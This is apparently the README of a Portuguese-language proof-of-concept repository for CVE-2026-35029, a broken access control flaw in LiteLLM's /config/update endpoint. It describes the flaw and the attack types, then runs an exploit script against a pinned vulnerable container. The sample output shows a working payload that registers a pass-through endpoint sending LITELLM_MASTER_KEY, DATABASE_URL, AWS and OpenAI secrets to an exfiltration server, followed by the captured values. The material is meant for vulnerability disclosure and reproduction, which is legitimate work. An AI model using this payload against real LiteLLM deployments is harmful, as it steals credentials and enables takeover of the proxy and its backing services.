
O código para reproduzir pessoalmente a vulnerabilidade correspondente
/config/update Vulnerabilidade de Controle de Acesso Quebrado (Broken Access Control)O endpoint
/config/updatedo LiteLLM não verifica as permissões de função do chamador. Qualquer usuário autenticado com uma chave de API válida (sem privilégios de administrador) pode modificar a configuração do proxy, registrar endpoints Pass-Through maliciosos para realizar ataques de roubo de variáveis de ambiente, leitura arbitrária de arquivos, execução remota de código, etc.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-35029 |
| CVSS v4.0 | 8.7 (ALTA) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N |
| CVSS v3.1 | 8.8 (ALTA) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Autorização Incorreta) / CWE-285 (Autorização Imprópria) |
| Afetado | LiteLLM < 1.83.0 |
| Corrigido | v1.83.0+ (adicionada verificação de função proxy_admin em /config/update) |
| Publicado | 2026-04-06 |
| Descoberto por | Timo Müller — SEC Consult Vulnerability Lab (Munique) |
| Encontrado | 2026-02-24 |
| Links | GHSA-53mr-6c8q-9789 • NVD • SEC Consult |
O endpoint /config/update do LiteLLM deveria permitir apenas chamadas da função proxy_admin, mas antes da v1.83.0 não havia verificação de função. Qualquer usuário com uma chave de API válida poderia chamar este endpoint.
| Tipo de Ataque | Descrição |
|---|---|
| Roubo de Variáveis de Ambiente | Registrar um endpoint Pass-Through e, através do cabeçalho os.environ/VAR_NAME, roubar DATABASE_URL, LITELLM_MASTER_KEY, etc. |
| Leitura Arbitrária de Arquivos | Explorar a codificação Base64 dos cabeçalhos LANGFUSE_* para ler o sistema de arquivos do servidor |
| Alteração de Configuração | Sobrescrever UI_USERNAME, UI_PASSWORD para sequestrar a conta de administrador |
| Execução Remota de Código | Registrar um manipulador de endpoint Pass-Through que aponta para código Python do atacante |
⚠️ Importante: O
docker-compose.ymlfixa a imagem vulnerável a um digest específico (sha256:5beb4ea6...) de 24 de janeiro de 2026. Não altere paramain-v1.81.0-stableou qualquer outra tag mutável — imagens posteriores podem ter sido reconstruídas com correções, quebrando a reprodução.
# 1. Iniciar LiteLLM vulnerável + servidor receptor de dados do atacante
docker compose up -d
# 2. Instalar dependências
pip install -r requirements.txt
# 3. Executar cadeia de ataque completa (roubo de variáveis de ambiente + leitura de arquivos)
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 4. Apenas roubar variáveis de ambiente
python3 exploit/exploit.py --mode exfil \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 5. (Opcional) Verificar que a versão corrigida não é afetada
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4001 \
--key sk-litellm-master-key --fixed
Nota: Na primeira inicialização dos contêineres, aguarde cerca de 30-60s (health check do PostgreSQL + migração do banco Prisma). Execute o exploit somente após o log do contêiner exibir
Uvicorn running on http://0.0.0.0:4000.
Roubo de Variáveis de Ambiente:
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================
[*] Step 1: Registering pass-through endpoint via /config/update...
Payload: {
"general_settings": {
"pass_through_endpoints": [
{
"path": "/exfil/env",
"target": "http://exfil-server:9999/collect",
"headers": {
"X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
"X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
"X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
"X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
}
}
]
}
}
HTTP 200
[+] Config update accepted!
[*] Step 2: Waiting for pass-through route propagation...
6 seconds...
[*] Step 3: Triggering pass-through endpoint at /exfil/env...
HTTP 200
Response: {"status":"received","message":"Data captured by exfiltration server"}
[*] Step 4: Checking exfiltration server for stolen data...
[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
Path : /collect
Headers:
X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked
[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!
Acesso negado pela versão corrigida (retorna 403 ao usar uma chave não administradora):
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
HTTP 403
[-] Forbidden — target may be patched (v1.83.0+)
[+] Expected: fixed version blocks non-admin config updates
Nota: Se usar a Master Key (
sk-litellm-master-key) para testar a versão corrigida, a atualização de configuração ainda retornará HTTP 200 (a Master Key possui a funçãoproxy_admin), mas o registro do endpoint Pass-Through pode não ser efetivado ou será silenciosamente ignorado. Recomenda-se usar uma chave não administradora para verificar a correção.